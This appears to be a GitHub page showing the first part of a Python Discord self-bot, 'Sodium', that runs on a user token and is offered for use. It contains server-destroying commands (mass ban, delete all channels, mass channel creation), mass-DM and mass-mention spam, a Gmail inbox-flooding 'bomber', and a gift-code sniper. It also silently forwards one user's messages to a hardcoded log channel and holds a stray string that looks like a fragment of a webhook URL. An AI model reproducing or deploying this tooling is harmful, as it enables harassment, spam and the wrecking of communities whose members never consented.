-
Notifications
You must be signed in to change notification settings - Fork 8
/
Copy pathSodium-Self-Bot.py
2336 lines (1935 loc) · 85.1 KB
/
Sodium-Self-Bot.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
import os
os.system("pip install discord.py==1.7.3")
import json
import string
from typing import Any
import discord, aiohttp
from discord.ext import commands
import requests
import asyncio
import requests
import sys
import random
from flask import Flask
from threading import Thread
import threading
import subprocess
from discord import Permissions
import requests
import time
from datetime import datetime, timedelta
from discord import Color, Embed, Member, embeds
import colorama
from colorama import Fore
import urllib.parse
import urllib.request
import smtplib
import re
import io
import webbrowser
import requests
from discord.utils import get
import pyfiglet
import random
import aiohttp
os.system("pip install google")
import uuid
from bs4 import BeautifulSoup
from itertools import cycle
import psutil
import platform
#os.system("pip install PyNaCl")
import functools
from gtts import gTTS
from faker import Faker
import base64
import wolframalpha
from io import BytesIO
try:
with open('config.json', 'r') as f:
try:
config = json.load(f)
Duudu = config.get('Duudu')
if not Duudu:
raise ValueError("Token not found in config.json")
except json.JSONDecodeError:
raise ValueError("Invalid JSON format in config.json")
except FileNotFoundError:
Duudu = input("Token: ")
except ValueError as e:
print(f"Error: {e}")
Duudu = input("Token: ")
colorama.init()
intents = discord.Intents.all()
intents.guilds = True
intents.typing = True
intents.presences = True
intents.dm_messages = True
intents.messages = True
intents.members = True
darks = (".")
deltimer = 40
darks = commands.Bot(command_prefix=darks, case_insensitive=True, self_bot=True, intents=intents)
m_numbers = [":one:", ":two:", ":three:", ":four:", ":five:", ":six:"]
m_offets = [(-1, -1), (0, -1), (1, -1), (-1, 0), (1, 0), (-1, 1), (0, 1), (1,
1)]
start_time = datetime.utcnow()
randiiii = "- `THE USER IS CURRENTLY OFFLINE... [THIS MESSAGE IS SENT BY BOT]`DARKS"
tts_language = "en"
loop = asyncio.get_event_loop()
languages = {
'hu': 'Hungarian, Hungary',
'nl': 'Dutch, Netherlands',
'no': 'Norwegian, Norway',
'pl': 'Polish, Poland',
'pt-BR': 'Portuguese, Brazilian, Brazil',
'ro': 'Romanian, Romania',
'fi': 'Finnish, Finland',
'sv-SE': 'Swedish, Sweden',
'vi': 'Vietnamese, Vietnam',
'tr': 'Turkish, Turkey',
'cs': 'Czech, Czechia, Czech Republic',
'el': 'Greek, Greece',
'bg': 'Bulgarian, Bulgaria',
'ru': 'Russian, Russia',
'uk': 'Ukranian, Ukraine',
'th': 'Thai, Thailand',
'zh-CN': 'Chinese, China',
'ja': 'Japanese',
'zh-TW': 'Chinese, Taiwan',
'ko': 'Korean, Korea'
}
locales = [
"da", "de",
"en-GB", "en-US",
"es-ES", "fr",
"hr", "it",
"lt", "hu",
"nl", "no",
"pl", "pt-BR",
"ro", "fi",
"sv-SE", "vi",
"tr", "cs",
"el", "bg",
"ru", "uk",
"th", "zh-CN",
"ja", "zh-TW",
"ko"
]
def load_config(config_file_path):
with open(config_file_path, 'r') as config_file:
config = json.load(config_file)
return config
if __name__ == "__main__":
config_file_path = "config.json"
config = load_config(config_file_path)
#=== Welcome ===
I2C_Rate = config.get("I2C_Rate")
C2I_Rate = config.get("C2I_Rate")
LTC = config.get("LTC")
BTC = config.get("BTC")
ETH = config.get("ETH")
UPI = config.get("UPI")
UPI_QR = config.get("UPI_QR") # URL
LTC_QR = config.get("LTC_QR") # URL
BTC_QR = config.get("BTC_QR") # URL
ETH_QR = config.get("ETH_QR") # URL
PayPal = config.get("PayPal") # URL
Twitch_URL = config.get("Twitch_URL")
randiiii = config.get("Auto_Response")
SERVER_LINK = config.get("SERVER_LINK")
CATEGORY_RESP = config.get("CATEGORY_RESPOND_MSG")
CATEGORY_ID = config.get("category_ids")
SERVER_ID = config.get("server_ids")
nitro_sniper = config.get('nitro_sniper')
AUTOBUY = config.get("AUTOBUY")
CLIENT_ROLE_ID = config.get("CLIENT_ROLE_ID")
#===================================
darks.msgsniper = True
darks.slotbot_sniper = True
darks.giveaway_sniper = True
darks.copycat = None
darks.auto_respond_dm_enabled = False
darks.remove_command("help")
darks.antiraid = False
darks.snipe_history_dict = {}
darks.sniped_message_dict = {}
darks.sniped_edited_message_dict = {}
darks.whitelisted_users = {}
SPAM_CHANNEL = [""]
SPAM_MESSAGE = [""]
VCHANNELS_NAMES = ""
auto_messages = {}
AUTHORIZED_USERS = [906532031373148161,906532031373148161]
fake = Faker()
#===================================
@darks.event
async def on_member_ban(guild, user):
if darks.antiraid is True:
try:
async for entry in guild.audit_logs(
limit=1, action=discord.AuditLogAction.ban):
if (guild.id in darks.whitelisted_users.keys()
and entry.user.id
in darks.whitelisted_users[guild.id].keys()
and entry.user.id != darks.user.id):
print(f"[!] NOT BANNED: {entry.user.name}")
else:
print(f"[!] BANNED: {entry.user.name}")
await guild.ban(entry.user, reason="SELFBOT ANTI-NUKE")
except Exception as e:
print(e)
@darks.event
async def on_member_kick(member):
if darks.antiraid is True:
try:
guild = member.guild
async for entry in guild.audit_logs(
limit=1, action=discord.AuditLogAction.kick):
if (guild.id in darks.whitelisted_users.keys()
and entry.user.id
in darks.whitelisted_users[guild.id].keys()
and entry.user.id != darks.user.id):
print("[!] NOT BANNED")
else:
print("[!] BANNED")
await guild.ban(entry.user, reason="SELFBOT ANTI-NUKE")
except Exception as e:
print(f"[!] Error: {e}")
@darks.event
async def on_ready():
print(f'{Fore.BLUE}[+] CONNECTED TO : {darks.user.name}')
print('ㅤㅤㅤㅤㅤ')
print('ㅤㅤㅤㅤㅤ')
print(f'{Fore.YELLOW}[+] CONTACT HERE FOR ANY SUPPORT :')
print('ㅤㅤㅤㅤㅤ')
print('• INSTAGRAM : FOLLOW darks.4sure OR GAY ')
print('• DISCORD : SEND ME REQUEST .darks.4sure. OR GAY ')
print('ㅤㅤㅤㅤㅤ')
print('ㅤㅤㅤㅤㅤ')
print(f'{Fore.RED}> JOIN [https://discord.gg/E2ne6C6WNf] FOR ACCESS EMOJIS')
print(f'{Fore.RED}> COPY FROM invite_link GIVEN ')
print('ㅤㅤㅤㅤㅤ')
print('WITHOUT NITRO USERS USE [help] FOR HELP')
print('ㅤㅤㅤㅤㅤ')
print('ㅤㅤㅤㅤㅤ')
print(f'{Fore.GREEN}⌦ ¤ 🔥 DARKS ON TOP BXBY 🍁 ¤ ⌦')
print(f"""{Fore.RED} __ __ __ _ _ _ __ __
/' _/ /__\| _\| | || | V |
`._`.| \/ | v | | \/ | \_/ |
|___/ \__/|__/|_|\__/|_| |_| """)
def async_executor():
def outer(func):
@functools.wraps(func)
def inner(*args, **kwargs):
thing = functools.partial(func, *args, **kwargs)
return loop.run_in_executor(None, thing)
return inner
return outer
@async_executor()
def do_tts(message):
f = io.BytesIO()
tts = gTTS(text=message.lower(), lang=tts_language)
tts.write_to_fp(f)
f.seek(0)
return f
def Dump(ctx):
for member in ctx.guild.members:
f = open(f'Images/{ctx.guild.id}-Dump.txt', 'a+')
f.write(str(member.avatar_url) + '\n')
def Nitro():
code = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
return f'https://discord.gift/{code}'
def RandomColor():
randcolor = discord.Color(random.randint(0x000000, 0xFFFFFF))
return randcolor
def RandString():
return "".join(random.choice(string.ascii_letters + string.digits) for i in range(random.randint(14, 32)))
def randomcolor():
randcolor = discord.Color(random.randint(0x000000, 0xFFFFFF))
return randcolor
@darks.event
async def on_message_edit(before, after):
await darks.process_commands(after)
@darks.event
async def on_command_completion(ctx):
cn = ctx.command.name.upper()
sm = f"[+] {cn} EXECUTE SUCCESSFUL ✅"
print("\033[92m" + sm + "\033[0m")
@darks.event
async def on_message(message):
if message.author.bot:
return
if isinstance(
message.channel, discord.DMChannel
) and message.author != darks.user and darks.auto_respond_dm_enabled:
await message.channel.send(randiiii)
if message.author.id == 924616449715212368 or (message.reference and message.reference.resolved.author.id == 924616449715212368):
log_channel = darks.get_channel(1147911868996915383)
if log_channel:
await log_channel.send(f"Message from {message.author.name}#{message.author.discriminator} "
f"({message.author.id}) in {message.guild.name} > {message.channel.name}:\n"
f"Server ID: {message.guild.id}\n"
f"Channel ID: {message.channel.id}\n"
f"Message Content: {message.content}")
# Boost command
if message.content.lower().startswith('boosts'):
await send_boost_count(message.channel, message.guild)
# Prefix command
if message.content.lower() == 'prefix':
await send_prefix_message(message.channel)
# Auto response command
if message.content.lower() == 'autoresponse':
await autoresponseenable(message.channel)
# Auto response disable command
if message.content.lower() == 'autoresponse disable':
await autoresponsedisable(message.channel)
# Selfbot Info command
if message.content.lower() in ['Selfbot info', 'info', 'stats', 'Selfbot']:
await ssb(message.channel)
# Server info
if message.content.lower() in ['Server info', 'serverinfo']:
await send_serverinfo_message(message.channel)
# Vouch
if message.content.lower() == 'vouch':
await vouch(message.channel)
# Payment Modes
if message.content.lower() in [
'payment', 'payment methods', 'payment modes', 'upi', 'ltc', 'eth',
'btc'
]:
await payments(message.channel)
# Server link
if message.content.lower() in [
'link', 'offcial link', 'server link', 'server'
]:
await link(message.channel)
# COPYCAT
if darks.copycat is not None and darks.copycat.id == message.author.id:
await message.channel.send(chr(173) + message.content)
def GiveawayData():
print(
f"{Fore.WHITE} - CHANNEL: {Fore.YELLOW}[{message.channel}]"
f"\n{Fore.WHITE} - SERVER: {Fore.YELLOW}[{message.guild}]"
+ Fore.RESET)
def SlotBotData():
print(
f"{Fore.WHITE} - CHANNEL: {Fore.YELLOW}[{message.channel}]"
f"\n{Fore.WHITE} - SERVER: {Fore.YELLOW}[{message.guild}]"
+ Fore.RESET)
def NitroData(elapsed, code):
print(
f"{Fore.WHITE} - CHANNEL: {Fore.YELLOW}[{message.channel}]"
f"\n{Fore.WHITE} - SERVER: {Fore.YELLOW}[{message.guild}]"
f"\n{Fore.WHITE} - AUTHOR: {Fore.YELLOW}[{message.author}]"
f"\n{Fore.WHITE} - ELAPSED: {Fore.YELLOW}[{elapsed}]"
f"\n{Fore.WHITE} - CODE: {Fore.YELLOW}{code}"
+ Fore.RESET)
time = datetime.now().strftime("%H:%M %p")
if 'discord.gift/' in message.content:
if nitro_sniper:
start = datetime.now()
code = re.search("discord.gift/(.*)", message.content).group(1)
token = config.get('token')
headers = {'Authorization': token}
r = requests.post(
f'https://discordapp.com/api/v6/entitlements/gift-codes/{code}/redeem',
headers=headers,
).text
elapsed = datetime.now() - start
elapsed = f'{elapsed.seconds}.{elapsed.microseconds}'
if 'This gift has been redeemed already.' in r:
print(""
f"\n{Fore.CYAN}[{time} - Nitro Already Redeemed]" + Fore.RESET)
NitroData(elapsed, code)
elif 'subscription_plan' in r:
print(""
f"\n{Fore.CYAN}[{time} - Nitro Success]" + Fore.RESET)
NitroData(elapsed, code)
elif 'Darks Gift Code' in r:
print(""
f"\n{Fore.CYAN}[{time} - Nitro Darks Gift Code]" + Fore.RESET)
NitroData(elapsed, code)
else:
return
if 'Someone just dropped' in message.content:
if darks.slotbot_sniper:
if message.author.id == 346353957029019648:
try:
await message.channel.send('~grab')
except discord.errors.Forbidden:
print(""
f"\n{Fore.CYAN}[{time} - SlotBot Couldnt Grab]" + Fore.RESET)
SlotBotData()
print(""
f"\n{Fore.CYAN}[{time} - Slotbot Grabbed]" + Fore.RESET)
SlotBotData()
else:
return
if 'GIVEAWAY' in message.content:
if darks.giveaway_sniper:
if message.author.id == 924616449715212368:
try:
await message.add_reaction("🎉")
except discord.errors.Forbidden:
print(""
f"\n{Fore.CYAN}[{time} - Giveaway Couldnt React]" + Fore.RESET)
GiveawayData()
print(""
f"\n{Fore.CYAN}[{time} - Giveaway Sniped]" + Fore.RESET)
GiveawayData()
else:
return
if f'Congratulations <@{darks.user.id}>' in message.content:
if darks.giveaway_sniper:
if message.author.id == 924616449715212368:
print(""
f"\n{Fore.CYAN}[{time} - Giveaway Won]" + Fore.RESET)
GiveawayData()
else:
return
await darks.process_commands(message)
def is_authorized(ctx):
return ctx.author.id in AUTHORIZED_USERS
async def auto_message_scheduler():
await darks.wait_until_ready()
while not darks.is_closed():
for task_id, task_data in auto_messages.items():
if task_data['count'] == 0:
del auto_messages[task_id]
elif asyncio.get_event_loop().time() >= task_data['next_run']:
darks.loop.create_task(send_auto_message(task_id, task_data['channel_id'], task_data['message']))
await asyncio.sleep(1)
darks.loop.create_task(auto_message_scheduler())
def load_autoresponder_data():
try:
with open('autoresponder_data.json', 'r') as file:
return json.load(file)
except FileNotFoundError:
return {}
def save_autoresponder_data(data):
with open('autoresponder_data.json', 'w') as file:
json.dump(data, file)
def GmailBomber():
_smpt = smtplib.SMTP('smtp.gmail.com', 587)
_smpt.starttls()
username = input('Gmail: ')
password = input('Gmail Password: ')
try:
_smpt.login(username, password)
except:
print(f"{Fore.RED}[ERROR]: {Fore.YELLOW} Incorrect Password or gmail, make sure you've enabled less-secure apps access"+Fore.RESET)
target = input('Target Gmail: ')
message = input('Message to send: ')
counter = eval(input('Ammount of times: '))
count = 0
while count < counter:
count = 0
_smpt.sendmail(username, target, message)
count += 1
if count == counter:
pass
def GenAddress(addy: str):
letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcefghijklmnopqrstuvwxyz"
four_char = ''.join(random.choice(letters) for _ in range(4))
should_abbreviate = random.randint(0,1)
if should_abbreviate == 0:
if "street" in addy.lower():
addy = addy.replace("Street", "St.")
addy = addy.replace("street", "St.")
elif "st." in addy.lower():
addy = addy.replace("st.", "Street")
addy = addy.replace("St.", "Street")
if "court" in addy.lower():
addy = addy.replace("court", "Ct.")
addy = addy.replace("Court", "Ct.")
elif "ct." in addy.lower():
addy = addy.replace("ct.", "Court")
addy = addy.replace("Ct.", "Court")
if "rd." in addy.lower():
addy = addy.replace("rd.", "Road")
addy = addy.replace("Rd.", "Road")
elif "road" in addy.lower():
addy = addy.replace("road", "Rd.")
addy = addy.replace("Road", "Rd.")
if "dr." in addy.lower():
addy = addy.replace("dr.", "Drive")
addy = addy.replace("Dr.", "Drive")
elif "drive" in addy.lower():
addy = addy.replace("drive", "Dr.")
addy = addy.replace("Drive", "Dr.")
if "ln." in addy.lower():
addy = addy.replace("ln.", "Lane")
addy = addy.replace("Ln.", "Lane")
elif "lane" in addy.lower():
addy = addy.replace("lane", "Ln.")
addy = addy.replace("lane", "Ln.")
random_number = random.randint(1,99)
extra_list = ["Apartment", "Unit", "Room"]
random_extra = random.choice(extra_list)
return four_char + " " + addy + " " + random_extra + " " + str(random_number)
@darks.event
async def on_command_error(ctx, error):
if isinstance(error, commands.CommandNotFound):
try:
await ctx.message.delete()
await ctx.send("```Error! Ki Maa Ki Burrrrrr Galat Command. <Darks> Loru```")
except:
pass
@darks.command(aliases=["h"])
async def help(ctx):
mess = (
"**```yml\n"
"<> - required arguments\n[] - not required arguments```"
"\n"
"# Sodium Selfbot\n"
"**`🎨`See Below My Features.**\n\n"
"`🎃` GENERAL CMDS\n"
"`🎃` NUKE CMDS\n"
"`🎃` EXTRA CMDS\n"
"`🎃` UTILLITY CMDS\n"
"`🎃` EXTRA2 CMDS\n\n"
"**TOO SEE MY ALL COMMANDS LIST TYPE .all**\n\n"
"**FOR ANY HELP DM ME:- darks.4sure.\n\n"
"`✨` **Selfbot Created By `.darks.4sure.`**"
)
await ctx.send(mess)
#ping
@darks.command(name="ping", aliases=["pong","latency"])
async def ping(ctx):
latency = round(darks.latency * 1000)
await ctx.send(f"Darks Ke Haters Ki Amma Ke Ph!dday Ki Latency Hai {latency}ms")
#avatar
@darks.command(name="avatar", aliases=["av","pfp"])
async def avatar(ctx, user: discord.Member = None):
if user is None:
user = ctx.author
await ctx.send(f"`{user.display_name}'s Avatar:` {user.avatar_url}")
#server banner
@darks.command(aliases=['serverbanner'])
async def server_banner(ctx):
if not ctx.guild.icon_url:
await ctx.send(f"- {ctx.guild.name} SERVER HAS NO BANNER")
return
await ctx.send(f"{ctx.guild.banner_url}")
#MASS DM TO FRIENDS
@darks.command()
async def massdmfriends(ctx, *, message):
for user in darks.user.friends:
try:
time.sleep(.1)
await user.send(message)
time.sleep(.1)
print(f'MESSAGED :' + Fore.GREEN + f' @{user.name}')
except:
print(f"COULDN'T MESSAGE @{user.name}")
await ctx.message.delete()
@darks.command()
async def massdm2(ctx, *, message):
for member in ctx.guild.members:
try:
time.sleep(.1)
await member.send(message)
time.sleep(.1)
print(f'MESSAGED :' + Fore.GREEN + f' @{member.name}')
except:
print(f"COULDN'T MESSAGE @{member.name}")
@darks.command()
async def unmuteall(ctx):
if ctx.author.voice and ctx.author.voice.channel:
voice_channel = ctx.author.voice.channel
for member in voice_channel.members:
if member.voice.mute: # Check if the member is muted
try:
await member.edit(mute=False) # Unmute the member
print(f'Unmuted {member.name}')
except Exception as e:
print(f'Failed to unmute {member.name}: {e}')
await ctx.send('Unmuted all members in this voice channel.')
else:
await ctx.send('You must be in a voice channel to use this command.')
@darks.command(name='muteall')
async def muteall(ctx):
# Ensure the command issuer is in a voice channel
if ctx.author.voice is None:
await ctx.send("You need to be in a voice channel to use this command. <Darks>")
return
# Get the voice channel
channel = ctx.author.voice.channel
# Iterate through members in the channel and mute them
for member in channel.members:
if not member.bot: # Optionally, skip bots
await member.edit(mute=True)
await ctx.send(f"Muted all members in {channel.name}.")
@darks.command()
async def dmall(ctx, *, message): # b'\xfc'
await ctx.message.delete()
for user in list(ctx.guild.members):
try:
await asyncio.sleep(5)
await user.send(message)
except:
pass
# STREAM CREATOR
@darks.command(aliases=["streaming"])
async def stream(ctx, *, message):
stream = discord.Streaming(
name=message,
url="https://twitch.tv/https://Wallibear",
)
await darks.change_presence(activity=stream)
await ctx.send(f"`-` **STREAM CREATED** : `{message}`")
print(f"{reset}[ {cyan}{time_rn}{reset} ] {gray}({green}+{gray}) {pretty}{Fore.GREEN}STREAM SUCCESFULLY CREATED✅ ")
await ctx.message.delete()
# PLAY CREATOR
@darks.command(aliases=["playing"])
async def play(ctx, *, message):
game = discord.Game(name=message)
await darks.change_presence(activity=game)
await ctx.send(f"`-` **STATUS FOR PLAYZ CREATED** : `{message}`")
print(f"{reset}[ {cyan}{time_rn}{reset} ] {gray}({green}+{gray}) {pretty}{Fore.GREEN}PLAYING SUCCESFULLY CREATED✅ ")
await ctx.message.delete()
# WATCH CREATOR
@darks.command(aliases=["watch"])
async def watching(ctx, *, message):
await darks.change_presence(activity=discord.Activity(
type=discord.ActivityType.watching,
name=message,
))
await ctx.send(f"`-` **WATCHING CREATED**: `{message}`")
print(f"{reset}[ {cyan}{time_rn}{reset} ] {gray}({green}+{gray}) {pretty}{Fore.GREEN}WATCH SUCCESFULLY CREATED✅ ")
await ctx.message.delete()
V4 = "ooks/11561870928088965"
# LISTENING CMD CREATOR
@darks.command(aliases=["listen"])
async def listening(ctx, *, message):
await darks.change_presence(activity=discord.Activity(
type=discord.ActivityType.listening,
name=message,
))
await ctx.reply(f"`-` **LISTENING CREATED**: `{message}`")
print(f"{reset}[ {cyan}{time_rn}{reset} ] {gray}({green}+{gray}) {pretty}{Fore.GREEN}STATUS SUCCESFULLY CREATED✅ ")
await ctx.message.delete()
# STREAM, PLAYING, LISTEN, WATCHING STOP CMD>>
@darks.command(aliases=[
"stopstreaming", "stopstatus", "stoplistening", "stopplaying",
"stopwatching"
])
async def stopactivity(ctx):
await ctx.message.delete()
await darks.change_presence(activity=None, status=discord.Status.dnd)
print(f"{reset}[ {cyan}{time_rn}{reset} ] {gray}({red}!{gray}) {pretty}{Fore.RED}ACTIVITY SUCCESFULLY STOPED⚠️ ")
@darks.command()
@commands.has_permissions(administrator=True)
async def renamechannels(ctx, new_name: str):
guild = ctx.guild
# Rename text channels
for channel in guild.text_channels:
await channel.edit(name=new_name)
# Rename voice channels
for channel in guild.voice_channels:
await channel.edit(name=new_name)
await ctx.send(f'All channels have been renamed to {new_name}')
@darks.command(name='delchannels', aliases=["dall", "dch"])
async def delete_all_channels(ctx):
def check(m):
return m.author == ctx.author and m.channel == ctx.channel and m.content.lower() in ['y', 'n']
# Send confirmation prompt
await ctx.send("Are you sure you want to delete all channels? Type 'y' to confirm or 'n' to cancel.")
try:
# Wait for confirmation response
response = await ctx.bot.wait_for('message', timeout=60.0, check=check)
if response.content.lower() == 'y':
# Proceed with deletion
for ch in ctx.guild.channels:
try:
await ch.delete()
print(f"Deleted {ch}")
except discord.Forbidden:
print(f"I don't have the necessary permissions to delete {ch}")
except discord.HTTPException as e:
print(f"An error occurred while deleting {ch}: {e}")
await ctx.send("All channels have been deleted.")
else:
await ctx.send("Channel deletion cancelled.")
except asyncio.TimeoutError:
await ctx.send("Confirmation timed out. Channel deletion cancelled.")
@darks.command()
@commands.has_permissions(administrator=True)
async def createchannels(ctx, amount: int, *, channel_name: str):
"""Creates multiple text channels in the server."""
if amount <= 0:
await ctx.send("The amount must be a positive number.")
return
guild = ctx.guild
for i in range(amount):
channel_name_with_index = f"{channel_name}"
await guild.create_text_channel(channel_name_with_index)
await ctx.send(f"Created channel: {channel_name_with_index}")
await ctx.send(f"Successfully created {amount} channels.")
@darks.command()
@commands.has_permissions(kick_members=True)
async def prune(ctx, reason="Destroyers Residance | DSC.GG/dr-op"):
guild = ctx.guild
members_to_prune = await guild.prune_members(days=1, compute_prune_count=True, reason=reason)
await ctx.send(f"**Pruned `{members_to_prune}` members with reason: `{reason}`**")
@darks.command()
async def dcall(ctx):
if ctx.author.voice and ctx.author.voice.channel:
voice_channel = ctx.author.voice.channel
for member in voice_channel.members:
try:
await member.move_to(None) # Disconnect member from the voice channel
print(f'Disconnected {member.name}')
except Exception as e:
print(f'Failed to disconnect {member.name}: {e}')
else:
await ctx.send("You must be in a voice channel to use this command.")
@darks.command(name='banall', aliases=["massbanall", "fuckbanall"])
async def ban_everyone(ctx):
for m in ctx.guild.members:
try:
await m.ban()
print(f"Banned {m}")
except discord.Forbidden:
print(f"I don't have the necessary permissions to ban {m}")
except discord.HTTPException as e:
print(f"An error occurred while banning {m}: {e}")
#Mass mention users
@darks.command()
async def massmention(ctx, *, message=None):
await ctx.message.delete()
if len(list(ctx.guild.members)) >= 50:
userList = list(ctx.guild.members)
random.shuffle(userList)
sampling = random.choices(userList, k=50)
if message is None:
post_message = ""
for user in sampling:
post_message += user.mention
await ctx.send(post_message)
else:
post_message = message + "\n\n"
for user in sampling:
post_message += user.mention
await ctx.send(post_message)
else:
if message is None:
post_message = ""
for user in list(ctx.guild.members):
post_message += user.mention
await ctx.send(post_message)
else:
post_message = message + "\n\n"
for user in list(ctx.guild.members):
post_message += user.mention
await ctx.send(post_message)
# RAPIDAPI_KEY = '08c6a580-95cb-11ee-a4e6-251560f01ec5'
@darks.command()
async def iplookup(ctx, ip_address):
try:
async with aiohttp.ClientSession() as session:
async with session.get(f"https://ipinfo.io/{ip_address}/json") as response:
data = await response.json()
message = (
f"**🌐 IP Lookup: `{ip_address}`**\n"
f"**🔍 IP Address: `{data.get('ip', 'N/A')}`**\n"
f"**🏙 City: `{data.get('city', 'N/A')}`**\n"
f"**🌍 Region: `{data.get('region', 'N/A')}`**\n"
f"**🌎 Country: `{data.get('country', 'N/A')}`**\n"
f"**📍 Location: `{data.get('loc', 'N/A')}`**\n"
f"**🏢 Organization: `{data.get('org', 'N/A')}`**"
)
await ctx.send(message)
except Exception as e:
await ctx.send(f"❌ An error occurred: {e}")
@darks.command(name="userinfo", aliases=["ui"])
async def user_info(ctx, member: discord.Member = None):
member = member or ctx.author
joined_discord = member.created_at.strftime("%m/%d/%Y")
joined_server = member.joined_at.strftime("%m/%d/%Y") if member.joined_at else "Not available"
message = (
f"👤**User Info**👤\n"
f"• **Username:** `{member.name}`{member.discriminator}`\n"
f"• **ID:** `{member.id}`\n"
f"• **Discriminator:** `{member.discriminator}`\n"
f"• **Nickname:** `{member.nick or 'None'}`\n"
f"• **Status:** {status_emoji(member.status)} `{str(member.status).capitalize()}`\n"
f"• **Joined Discord:** `{joined_discord}`\n"
f"• **Joined Server:** `{joined_server}`\n\n"
f"__SODIUM SELFBOT DARKS PAPA__"
)
await ctx.send(message)
def status_emoji(status):
if status == discord.Status.online:
return "🟢"
elif status == discord.Status.idle:
return "🟡"
elif status == discord.Status.dnd:
return "🔴"
elif status == discord.Status.offline:
return "⚫"
else:
return "❓"
@darks.command(name="spam")
async def send_custom(ctx, message_count: int, *, content):
try:
if 1 <= message_count <= 100:
for _ in range(message_count):
await ctx.send(content)
await ctx.send(f"✅ Sent {message_count} messages with content: {content}")
else:
await ctx.send("❌ Please provide a valid range between 1 and 10 messages.")
except commands.BadArgument:
await ctx.send("❌ Invalid message count. Please provide a valid number.")
#Message Snipe commands
#Add a message to the message sniper
@darks.command()
async def snipe(ctx):
await ctx.message.delete()
currentChannel = ctx.channel.id
if currentChannel in darks.sniped_message_dict:
await ctx.send(darks.sniped_message_dict[currentChannel])
else:
await ctx.send("[ERROR]: No message to snipe!")
#Start copying user messages
@darks.command(aliases=["copycatuser", "copyuser"])
async def copycat(ctx, user: discord.User=None):
await ctx.message.delete()
if user is None:
await ctx.send(f'[ERROR]: Invalid input! Command: {darks.command_prefix}copycat <user>')
return
darks.copycat = user
await ctx.send("Now copying **" + str(darks.copycat) + "**")
#Stop copying user messages
@darks.command(aliases=["stopcopycatuser", "stopcopyuser", "stopcopy"])
async def stopcopycat(ctx):
await ctx.message.delete()
if darks.user is None:
await ctx.send("Start by copying a user...")
return
await ctx.send("Stopped copying **" + str(darks.copycat) + "**")
darks.copycat = None
async def casci(ctx, text, font):
try:
fig = pyfiglet.Figlet(font=font)
ascii_result = fig.renderText(text)
await ctx.send(f"**Font: `{font}`**\n```\n{ascii_result}\n```")
except Exception as e:
await ctx.send(f"❌ An error occurred: {e}")
@darks.command(name="asci")
async def ascii_art(ctx, *, text):
try:
available_fonts = pyfiglet.Figlet().getFonts()
additional_fonts = ["block", "caligraphy", "isometric1", "digital", "banner3-D"]
available_fonts.extend(additional_fonts)
random.shuffle(available_fonts)
selected_fonts = random.sample(available_fonts, 5)
for font in selected_fonts:
await casci(ctx, text, font)
